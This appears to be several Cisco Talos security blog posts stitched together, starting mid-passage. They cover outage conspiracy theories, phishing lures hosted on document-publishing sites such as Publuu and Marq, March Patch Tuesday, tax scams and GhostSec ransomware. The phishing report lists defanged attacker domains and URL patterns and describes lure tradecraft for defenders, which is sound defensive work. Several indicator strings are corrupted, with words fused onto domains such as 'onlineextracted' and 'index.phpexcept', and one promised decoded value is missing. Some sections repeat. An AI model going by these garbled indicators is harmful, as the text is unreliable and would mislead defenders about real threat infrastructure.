At the very same time the people of Lerna (or us, the private defenders), need to pay attention to the entire threat landscape. We can’t rely on just Hercules to take them down. Just like we can’t be sure there is just a single Hydra.
Some of my Webex rooms recently have been blowing up with memes about blaming Canada or wild speculation that a state-sponsored actor is carrying out some sort of major campaign.
After a widespread outage of cellular service with AT&T and other carriers a few weeks ago, people were sure it was some sort of coordinated attack to disrupt Americans’ services that largely power our day-to-day lives. The outage lasted about 11 hours, and after the fact, the company announced they’d give customers a whopping $5 credit to make up for the issue. The Federal Communications Commission also announced last week that it was launching a formal investigation into the outage, requesting more information about the exact cause and how many users were affected.
About two weeks later, the same kinds of messages and questions to our team came flooding in when Meta experienced an outage across many of its platforms, most notably Facebook, Instagram and Threads. Though this only lasted a few hours, any time Americans can’t access their Instagram feeds, it’s going to make headlines.
In both cases, consumers immediately wanted to start pointing fingers — Which actor was behind these? Why is there so little information about this outage? Is this China getting revenge for talk of forcing a TikTok sale? What’s the broader conspiracy behind this? The outages also quickly opened the door for some of the world’s chief spreaders of misinformation and fake news to start spreading conspiracy theories.
The problem is, not every technical issue can or needs to be explained away by a cyber attack. That’s not to undersell the danger that state-sponsored APTs pose currently, or the fact that they *could* one day cause a disruption like this. But jumping to that conclusion every time Down Detector pops off is only going to spread fear/FUD and help these outlets for disinformation reach a larger audience.
It creates a “boy who cried wolf” situation for when a major cyber attack actually does happen, and the average consumer is forced to make an immediate update to some piece of software or hardware.
There are a few reasons why we’re so ready to jump to the “it’s a cyber attack!” conclusion. One is that Hollywood has been “glamorizing” the idea of a major cyber attack or major disruption for years now. Movies and TV shows like Netflix’s “Leave the World Behind” have dramatized what a major cyber attack or internet outage may look like, and how quickly it could lead to the unraveling of civilization. Because of our current doomscrolling culture, the second something even looks like it could be a cyber event, we’re ready to declare the end of our economy and society.
It’s also sexier when it’s a cyber attack. AT&T says its outage was caused by a technical error that occurred when it was trying to upgrade its network’s capacity, explicitly stating it was not caused by any sort of disruption campaign or cyber attack. Meta simply chalked their outage up to a “technical issue.”
None of these things make for good headlines. But sometimes, the simplest explanation is the most obvious one — we’ve all pressed a wrong button here or there, and stuff breaks on the internet all the time for all sorts of reasons. But “Users logged out of Instagram after Meta employee hits ‘enter’ too soon” isn’t as eye-catching as “Are Instagram and Facebook down because of a cyber attack?”
Could these multi-billion-dollar corporations be lying? Sure, but I also find it hard enough to believe that the truth would not have made it out to consumers by now if these outages weren’t simple technical issues, nor would AT&T feel compelled to reimburse customers for something that could be totally out of their control.
And if you ever get logged out of Facebook or Instagram, maybe you’re just better off being offline for a few hours anyway than immediately assuming Mahershala Ali is going to be knocking on your vacation home’s door in any minute.
The one big thing
We want to keep reminding users to update and upgrade their network infrastructure. Aging devices like switches and routers that are used across the globe are a consistently vulnerable surface for adversaries to gain an initial foothold onto targeted networks. Talos recently highlighted the three most common post-compromise attacks that adversaries carry out after compromising these types of vulnerable devices, including modifying the device’s firmware and downgrading the firmware to remove older patches and open the door to new exploitable vulnerabilities. Nick Biasini from Talos Outreach also spoke about this issue for an article in NetworkWorld.
Why do I care?
As Hazel Burton puts it in the blog post linked above: “Adversaries, particularly APTs, are capitalizing on this scenario to conduct hidden post-compromise activities once they have gained initial access to the network. The goal here is to give themselves a greater foothold, conceal their activities, and hunt for data and intelligence that can assist them with their espionage and/or disruptive goals. Think of it like a burglar breaking into a house via the water pipes. They’re not using “traditional” methods such as breaking down doors or windows (the noisy smash-and-grab approach) — they’re using an unusual route, because no one ever thinks their house will be broken into via the water pipes. Their goal is to remain stealthy on the inside while they take their time to find the most valuable artefacts.”
So now what?
If you are using network infrastructure that is end of life, out of support, and now has vulnerabilities that cannot be patched, now really is the time to replace those devices. Using networking equipment that has been built with secure-by-design principles such as running secure boot, alongside having a robust configuration and patch management approach, is key to combatting these types of threats. Ensure that these devices are being watched very carefully for any configuration changes and patch them promptly whenever new vulnerabilities are discovered.
Top security headlines of the week
Security researchers have found a new vulnerability affecting chips made by nearly all major CPU makers dubbed “GhostRace.” The vulnerability, identified as CVE-2024-2193, requires an adversary to win a race condition and to have physical or privileged access to the targeted machine. However, it could allow a malicious user to steal potentially sensitive information from memory like passwords and encryption keys. "The vulnerability affects many CPU architectures, including those made by Intel, AMD, Arm and IBM. It also affected some hypervisor vendors and the Linux operating system. AMD released an advisory this week that informed customers that they should follow previous defense guidance for other security flaws like Spectre that have affected CPUs in the past. “Our analysis shows all the other common write-side synchronization primitives in the Linux kernel are ultimately implemented through a conditional branch and are therefore vulnerable to speculative race conditions,” VU Amsterdam said in its blog post disclosing GhostRace. (SecurityWeek, Vrije Universiteit Amsterdam)
Health care providers are still reeling from a cyber attack on Change Healthcare, a subsidiary of the United HealthGroup Inc. insurance provider. First Health Advisory, a digital health risk assurance firm, recently estimated that health care providers are losing an estimated $100 million daily as they still cannot process payments from insurance providers. Change first disclosed the suspected ransomware attack in late February, and on March 5, the U.S. government announced a plan to provide relief payments for providers who are facing financial shortfalls due to the outage. Many doctors' offices and care clinics are facing late rent payments and unpaid invoices. The attack has also limited some patients’ ability to obtain pre-authorization for certain services and surgeries, and others have not been able to refill their prescriptions at hospitals. U.S. Congress is also asking the CEO of United HealthGroup to appear before a committee to answer questions about the hack. (CBS News, Bloomberg)
The U.S. has placed formal sanctions against two individuals and five entities associated with the Intellexa Consortium, responsible for developing and distributing the Predator spyware. Talos has previously reported on Intellexa’s tools, and how their spyware is silently loaded onto targeted devices. This is the first time the Treasury Department has sanctioned a spyware organization and announced it publicly. The sanctions include five vendors who work with Intellexa to sell the spyware, all of whom are spread across Europe. Intellexa itself is based in Greece. Predator and other spyware developed by private parties are often used to target high-risk individuals to track their communication and movement, including politicians, journalists, activists and political dissidents. Under the sanctions, anyone in the U.S. is forbidden from doing business with Intellexa or the associated companies and individuals. The Biden administration has long pushed for additional action against spyware makers, including Israel-based NSO Group, which distributes the Pegasus spyware. (Voice of America, Axios)
This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.
Cisco Talos Incident Response (Talos IR) has observed the ongoing use of legitimate digital document publishing (DDP) sites for phishing, credential theft and session token theft during recent incident response and threat intelligence engagements.
Hosting phishing lures on DDP sites increases the likelihood of a successful phishing attack, since these sites often have a favorable reputation, are unlikely to appear on web filter blocklists, and may instill a false sense of security in users who recognize them as familiar or legitimate.
DDP sites allow adversaries to quickly deploy and decommission malicious documents on a single platform. Talos IR also observed an adversary move between DDP sites within a short period.
Talos IR has responded to several recent incidents in which threat actors used legitimate digital document publishing sites such as Publuu and Marq to host phishing documents as part of ongoing credential and session harvesting attacks. Threat actors have used a similar tactic of deploying phishing lures on well-known cloud storage and contract management sites such as Google Drive, OneDrive, SharePoint, DocuSign and Oneflow. However, DDP sites could represent a blind spot for defenders, because they are unfamiliar to trained users and unlikely to be flagged by email and web content filtering controls. Recent malicious activity observed across these platforms underscores the need for security teams to ensure that phishing protections and user awareness training programs consider these and similar sites.
Background and observations
“Digital Document Publishing sites” refers to websites that allow users to upload and share PDF files in a browser-based flipbook format. Visitors can view an entire PDF by flipping from page to page without downloading the document, and some DDP sites offer features that allow other types of interaction with the document. Examples of DDP sites include Publuu, Marq, FlipSnack, Issuu, FlippingBook, RelayTo and SimpleBooklet.
The sites discussed in this blog are not malicious. Rather, they are being abused by threat actors.
Delivery mechanism
Threat actors integrate DDP sites as a secondary or intermediate stage of the attack chain, which follows tried-and-true phishing methods.
The victim receives an email containing a link to a document hosted on a legitimate DDP site. The email’s subject and/or body often includes the phrase “New Document from [sender organization],” and leaves the “To” header blank. Instead, the actors load the target list into the “BCC” field.
The DDP-hosted document includes a link to an external, adversary-controlled site.
When clicked, the link either moves the victim directly to the adversary-controlled site, or through a series of redirects. Talos IR also observed the inclusion of Cloudflare CAPTCHAs as part of some redirects, an adversary technique reported by Cofense, Netskope and other security teams over the past six months.
The victim arrives at the adversary-controlled site, which mimics a legitimate authentication page and is designed to capture user credentials or session tokens during authentication.
Attacks leveraging DDP sites for credential and session token theft often take place through unauthorized access to another legitimate email inbox. In a sort of “cascading” business email compromise (BEC) process, the threat actor creates infrastructure and phishing lures to target a specific victim, then leverages that victim’s established connections to conduct follow-on attacks against other organizations. A portion of the infrastructure created for the original target may be reused, while other portions are recreated to increase the likelihood of success during the subsequent attacks.
Lure customization
DDP sites offer custom capabilities that lend credence to a phishing attack. Not only can the threat actor customize the uploaded phishing document, the web page hosting that document can also be modified. Page customization options include changing the background, banner, border or HTML Title tag. These quick configurations create more convincing lures and are likely to garner a higher click-through rate to the credential harvesting page.
DDP-hosted lure customization observed during investigation ranged from pages listing the organization name only in the HTML Title tag, to a highly customized lure and landing page combination targeting users of a Canadian telecom provider. In the latter case, the final credential harvesting page was a near replica of the provider’s legitimate user login page, though it was hosted on an unrelated webwave[.]dev subdomain.
Historical trends
Expanding the scope of the investigation to include historical data reveals a possible trend where threat actors migrate between DDP sites or rapidly activate and deactivate similar campaigns on the same site over time. For example, Talos IR observed a cluster of activity on SimpleBooklet from late October to early November 2020, and another on RelayTo in early September 2023. More recently, an adversary was observed operating the same credential-harvesting attack, first on Publuu, then later Issuu.
Adversary advantages create challenges for defenders
DDP sites create advantages for threat actors seeking to thwart contemporary phishing protections. The same features and benefits that attract legitimate users to these sites can be abused by threat actors to increase the efficacy of a phishing attack. Given some of these advantages, threat actors may find DDP sites as useful as creating spoofed domains or compromising legitimate sites for phishing and credential theft.
DDP sites offer low-cost, transient file hosting
Many DDP sites offer either a free tier or a no-cost trial period where a defined number of files can be published for a limited time. No-cost trial periods usually require only limited personal identifiers and no payment methods. Threat actors can quickly and easily create multiple free accounts, with a varying number of malicious pages per account.
Some DDP sites also allow a link expiration to be set for published content. This feature creates a “set it and forget it” capability for threat actors, who are no longer required to closely track where phishing documents have been deployed so they can be decommissioned. Instead, a link expiration date and time is configured during page creation, ensuring the content will be rendered unavailable automatically, usually after only a short time.
Talos IR observed instances where an adversary launched, then disabled a DDP page in fewer than 24 hours, and others where the DDP page was left active but the final landing page on the adversary-controlled domain was removed through DNS fast fluxing or another mechanism.
This transient nature of DDP pages creates challenges for security teams and complicates the incident response process. While it’s possible to detect, create internal alerts for, and/or notify security personnel about a DDP-hosted lure, the brief availability of the pages creates a compressed response time for defenders. Understanding the theme of the lure, the associated adversary-controlled domains, and the intent of the attack in such a short time may be difficult, even for experienced security teams.
DDP sites usually have a favorable web reputation.
The ratio of legitimate to compromised pages hosted on DDP sites is likely quite low. While that ratio seemed to vary by DDP provider, Talos IR found that most pages created recently across all DDP sites hosted legitimate content. Unless this trend continues to shift toward hosting greater volumes of malicious content, these sites will maintain a favorable reputation score and are less likely to be included in automated blocklists.
A favorable web reputation score may also mislead users who investigate the DDP site using popular open-source intelligence tools or a basic internet search, leading to higher click and credential capture rates than sites with an unknown or poor reputation.
Site
Domain
Registration
Umbrella
Unique Visitors Score*
Umbrella
Reputation Score**
Publuu
2019-02-28
(IS)
63
53
(Medium Risk)
Marq
2004-06-19
(IS)
76
9 (Low
Risk)
FlipSnack
2010-06-03
(US)
96
11
(Low Risk)
Issuu
2007-04-19
(GB)
100
9 (Low
Risk)
RelayTo
2013-12-02
(US)
53
58
(Medium Risk)
* Umbrella’s Unique Visitors Score is included to illustrate estimated traffic volume per site as of Feb. 2, 2024.
** Reputation Score as of Feb. 2, 2024.
DDP productivity features may inhibit malicious link detection.
Talos IR found that productivity features on at least one DDP site inhibited traditional methods of extracting the true URL from a phishing link. During the investigation of a malicious document hosted on Publuu, a custom sub-menu was displayed when the user right-clicked on the URL. While this sub-menu included options that would benefit legitimate users, it did not provide a clear option to copy the URL behind the “View Online PDF” hyperlink. Further, no tooltip popups appeared to show the URL when hovering over the link.
Case studies
Two recent Talos IR engagements involved the use of a DDP site as part of potential credential and session token-harvesting attacks.
Publuu
Several individuals at the targeted organization received phishing emails from a compromised email address belonging to a trusted third-party vendor with the subject, “New Document from [third-party vendor]”.
The link included in the body of the email led to a Publuu flipbook, with a URL like https://publuu[.]com/flip-book/[6_digit_identifier]/[6_digit_identifier]. The phishing document was a generic, widely used file observed in similar attacks on other DDP sites. However, while the phishing document was reused, the adversary had modified the Publuu page with the sender organization’s name to lend authenticity to the document.
Clicking the “VIEW ONLINE PDF” link directed the user to a Cloudflare CAPTCHA, a technique described in the publications by Cofense and Netskope linked above. Use of the CAPTCHA likely has a dual purpose, as it both protects the credential harvesting page from automated access while giving the impression of a legitimate site to users who fall victim to the phishing link.
After completing the CAPTCHA, the victim is directed to a convincing replica of a Microsoft 365 authentication page. The URL for the page contains a lengthy alphanumeric string, which may act as an identifier for the visitor. The adversary-controlled domain associated with the authentication page was atlas-aerspace[.]onlineextracted. The customization of the original Publuu page to the target organization in contrast to this unrelated spoofed domain suggests this incident may have been part of a cascading BEC attack.
Talos IR later identified an attack chain hosted on the Issuu DDP site with similar indicators. The phishing document was nearly identical, though, unlike the Publuu link, this link URL leveraged the Google AMP to Cloudflare CAPTCHA flow described in the Cofense blog. The credential harvest page was ultimately located at the domain aerospace-atlas[.]online and included the same identifier-style URL string as the one observed with the atlas-aerspace[.]online90 days domain.
In aggregate, the following similar domains – all hosted by Cloudflare – were registered within 90 days. The first two domains were found to be associated with phishing lures hosted on DDP sites, suggesting an effort to target users of the legitimate atlas-aerospace[.]com domain.
Talos provided notification through established channels so affected organizations could review and address this activity.
Marq
Talos IR also responded to an incident involving the Marq DDP site. The Marq page hosting the phishing document had already been deactivated, but Talos IR used other forensic data to determine the URL of the associated credential harvesting page. The first part of that URL was https[:]//mvnwsenterprise[.]top:443/aadcdn.msauth.net/.
While the Marq page could not be accessed, Talos IR identified similar pages through open- and closed-source intelligence. These pages were customized to show the sender organization in the HTML Title tag (displayed in the browser tab) but otherwise used an identical “Microsoft365 Online Fax” lure. Unlike some activity clusters on other DDP sites, each page was configured with a unique URL using the .top top-level domain, such as onedrivesmncs[.]top, onedrivemwsamc[.]top, and 347nsm239mws934[.]top. Another common characteristic was the presence of the URL query string tkmilric in all URLs embedded in the phishing document.
Once clicked, the link passed the user to the spoofed Microsoft authentication page, which resided at the redirect.cgi path of the unique `.top` domain. The URL query string for this page included a “ref” parameter, which contained a Base64 and URL encoded value. An example of the decoded value is:
The value 00000002-0000-0ff1-ce00-000000000000 found in the client_id and resource parameters is the Microsoft Application ID for Office 365 Exchange Online. The claims string {"id_token":{"xms_cc":{"values":["CP1"]}}} is a required component for a client application to communicate its capabilities to Microsoft Entra ID in an OAuth 2.0 authorization flow. These characteristics likely indicate a campaign to capture session tokens for Microsoft 365 components using the same lure and customized or DGA-generated domains.
Other DDP Sites
Following these investigations, Talos IR identified similar activity on other DDP sites. The following examples are provided to demonstrate similarities across DDP sites and are not related to any ongoing or prior Talos IR investigations.
Flipsnack
Talos IR identified at least two lure formats used recently on FlipSnack – one eFax PDF-themed lure, and one SharePoint PDF-themed lure. Both landing pages had been removed by the adversary at the time of Talos IR’s review, but the URL for the adversary-controlled page associated with the SharePoint lure (afurrytailwedding[.]com/cure/MSthOffice/index.phpexcept) could indicate a potential Microsoft 365 credential harvesting effort. Neither lure had been customized to target a specific victim.
Issuu
Malicious documents found on Issuu were very similar to those observed on Publuu, except for minor details like a “Reference” number and the link URL. Of the two links tested by Talos IR, one was redirected through an intermediary site before reaching the landing page. The other leveraged the Google AMP and Cloudflare CAPTCHA flow reported by Cofense. Again, the landing pages for both examples had been removed by the adversary at the time of Talos IR’s review.
RelayTo
Talos IR located at least two different phishing lures that had been deployed to the RelayTo site in early September 2023. One of these lures was published repeatedly from multiple RelayTo accounts with modifications to only the name of the associated organization. The link in each lure – https[:]//secure-docsx[.]com/efgh5678 – was the same. The secure-docsx[.]combefore the domain had been registered a week this activity began and was followed by the creation of the secure-docu[.]com domain, with which it shared registrant details.
SimpleBooklet
Talos IR could not locate a malicious page on the SimpleBooklet site that had not already been deactivated. However, a review of related URLs in VirusTotal suggests that an adversary made prolific use of this site for phishing and possible credential theft from October 2020 through January 2021.
Defender actions
Defenders should consider the following actions to help defend against phishing attacks that leverage DDP sites.
Block common DDP sites via border security devices, endpoint detection and response (EDR) like Cisco Secure Endpoint, web content filtering, and/or DNS security controls if access to these sites is not required for normal business operations. If blocking these sites will disrupt normal operations, develop a procedure to ensure malicious domains identified in DDP-hosted phishing lures can be quickly blocked.
Configure email security controls to detect and alert on links in emails containing common DDP site URLs.
Leverage threat intelligence to quickly identify newly created sites related to known threats – in this case, new DDP sites that may be leveraged by threat actors.
Monitor for behavioral trends within the organization’s internal environment that could indicate coordinated malicious activity, including activity to blocked sites.
Update user security awareness training to include information about DDP sites and other cloud-hosted phishing attack methods. Reinforce a “see something, say something” mentality when users are uncertain about a site’s legitimacy.
End users can also support defenders by remaining vigilant for documents shared over unusual or uncommon sites, even if those sites are legitimate and have a favorable reputation, and by following their organization’s guidelines for reporting suspicious emails.
For the second month in 2024, there are no actively exploited vulnerabilities included in this month’s security update from Microsoft.
March’s Patch Tuesday is relatively light, containing 60 vulnerabilities — only two labeled “critical.” Last month’s Patch Tuesday included more than 70 security vulnerabilities affecting Microsoft products, and there were even fewer in January and December, especially when compared to 2023.
Still, both critical vulnerabilities addressed this month are notable because they affect Windows Hyper-V, potentially allowing an adversary to target a host machine from a virtual machine environment.
All other vulnerabilities Microsoft disclosed Tuesday are considered to be of “important” severity.
CVE-2024-21408 is a denial-of-service vulnerability in Windows Hyper-V that could allow an adversary to target a host machine from inside a VM. However, Microsoft did not provide any additional details on how this denial-of-service could occur, and despite being listed as critical, it only scored a 5.5 out of 10 in the CVSS severity scoring system.
The other critical issue is CVE-2024-21407, a remote code execution also in Hyper-V. An attacker inside a VM environment could remotely execute code on the host machine by sending specially crafted file operation requests to hardware resources on the VM. However, the adversary would need to be authenticated inside the VM first and acquire certain, specific information about the environment to be gathered before a successful attack.
Another remote code execution vulnerability — of which there are 19 in Tuesday’s release, CVE-2024-21334, exists in Open Management Infrastructure. A remote, unauthenticated attacker could exploit this vulnerability by accessing the OMI instance from the internet and sending specially crafted requests to trigger a use-after-free vulnerability.
CVE-2024-21334 is only considered by Microsoft to be “important,” though it has a CVSS score of 9.8 out of 10 — the highest of any vulnerability disclosed as part of March’s Patch Tuesday that affects a Microsoft product.
A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.
In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63140, 63141, 63142, 63144, 63145, 63152, 63153, 63155, 63156, 63161, 63162 and 63169 - 63170. There are also Snort 3 rules 300855, 300856 and 300858 - 300860.
It’s that time of the year when not only do you have to be worried about filing your federal taxes in the U.S., you must also be on the lookout for a whole manner of tax-related scams.
These are something that pop up every year through email, texts, phone calls and even physical mail — phony promises to get your tax return back faster, file your taxes “easy and free” or maximizing your possible return. Usually, the bad actors behind these are either looking to steal your money or personal information.
And it turns out this isn’t just a problem in the U.S., either. We published new research last week into a trojan malware that’s been infecting victims in Mexico with tax-related spam emails and other social engineering tactics.
Many countries across the world all have tax filing deadlines around the same time — Japan’s is just around the corner on March 15, in the U.S. it’s April 15, and several countries (Brazil, Canada, Chile, etc.) all share an April 30 filing deadline. So, adversaries all over the globe are going to be leveraging tax-related topics in their spam emails and social engineering campaigns in the coming weeks, trying to steal money, infect devices with malware, or steal critical personal information.
It’s important to remember that this isn’t “peak spam season” or anything, though, and it’s not the time to spread FUD that, “Oh, your inboxes are going to be flooded with spam!”
As I’ve written and talked about before, there isn’t more spam during tax season, it’s just different. Think about the confirmation bias that pops up when you buy a new car, and then suddenly you start seeing that car everywhere else on the road when you didn’t notice it as much before.
Talos’ telemetry indicates that spam hasn’t increased during tax filing season in the U.S. for many years, and attackers’ tactics largely stay the same: Try to create a convincing offer, document, or link, and try to convince the target to engage with that social engineering in some form.
It’s important to be vigilant about tax-related scams any time these deadlines roll around, regardless of what country you’re in, but it’s not like you need to be particularly more skeptical in March and April than any other time of the year. As soon as the tax filing deadline comes and goes, attackers will just start looking for the next hot topic to include in their phishing emails — presidential primaries, summer vacation deals or fake Amazon gift cards.
If you want to hear more about this, listen to the episode of Talos Takes on this topic from last year below.
The one big thing
An APT known as GhostSec has increased its ransomware activities over the past year and is now conducting “double extortion” ransomware attacks with fellow group Stormous. GhostSec and Stormous have also launched a new ransomware-as-a-service (RaaS) program STMX_GhostLocker and are actively recruiting new affiliates or members.
Why do I care?
Talos observed the GhostSec and Stormous ransomware groups operating together to conduct several double extortion attacks using the GhostLocker and StormousX ransomware programs against the victims in Cuba, Argentina, Poland, China, Lebanon, Israel, Egypt, Vietnam, Thailand and more nations, according to our assessment of the disclosure messages posted by the group in their Telegram channels and Stormous ransomware data leak site. This shows that the groups’ activities are not going to be contained just in one region or industry. RaaS has been a popular business model for many ransomware groups recently, which opens the door to other actors to use GhostSec’s tools by just paying them money.
So now what?
Talos has released new IOCs to provide defenders with new ways to block these ransomware actors. One of the implants GhostSec specifically relies on injects an admin bypass and hacking tool targeting the WordPress content management system. Any WordPress users should make sure their login credentials are up-to-date and strong and check their site to ensure there aren’t any illegitimate plugins or processes running on their site.
Top security headlines of the week
A fake ransomware gang calling itself “Mogilevich” admitted that they made up a claim that it had hacked video game developer Epic and stolen personal information and game source code. A leak page from the group claimed to have 200GB of data stolen from the company available for sale to other threat actors, or they would return the stolen information to Epic in exchange for a ransom payment. The group claimed it had "email, passwords, full name, payment information, source code and many other data." Epic immediately came forward sand said it had not detected any evidence of a hack or data breach. A few days after the claims went public, representatives from Mogilevich later came forward and called themselves “professional fraudsters” and they never hacked Epic’s network. Epic is known for the popular online platform and game “Fortnite.” The fraudsters also admitted that they had sold fake ransomware infrastructure to other would-be actors who wanted to carry out attacks themselves, including tricking one buyer out of $85,000. (Eurogamer, Cyber Daily)
A popular series of white-label security cameras are littered with an array of security vulnerabilities that could allow adversaries to collect images from their cameras without users knowing. The cameras are manufactured by the same company, but sold under the labels of Eken and Tuck on popular websites like Amazon, Walmart, Sears and Temu. The doorbells also do not have a visible ID issued by the Federal Communications Commission (FCC) that’s normally required by the agency, which technically makes them illegal to distribute in the U.S., though many of them were still for sale as of late February. The vulnerabilities affect more than 10 different products, which are all controlled by the same app that’s available on the Android app store. All an adversary would need to do to exploit the vulnerabilities and spy on the camera would be to acquire the serial number — no notification is sent to the doorbell’s owner when there’s a new pairing, and the adversary doesn’t even need an account username or password. Retailers that list the cameras for sale did not respond to a request for comment from Consumer Reports, the outlet that performed the research. (Consumer Reports, TechCrunch)
Payment systems across the U.S. health care system are offline, with many doctors having to switch to paper billing, after a massive data breach at Change Healthcare, a subsidiary of the UnitedHealth insurance company. Change Healthcare first disclosed the breach on Feb. 21 after adversaries disrupted operations for the company, which processes 15 billion health care-related transactions every year. Now the U.S. Department of Health and Human Services is urging health care systems and doctors who use Change to start developing alternatives, as they are unsure when systems will be back online. Change Healthcare is a system that connects doctors, hospitals and other health care providers with insurance companies to pay for medical care and authorize assorted services for patients. The follow-on effects have also been difficult on providers, who are now being faced with rent and other bills that they can’t pay because they still haven’t been paid by insurance companies. (USA Today, The New York Times)
This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.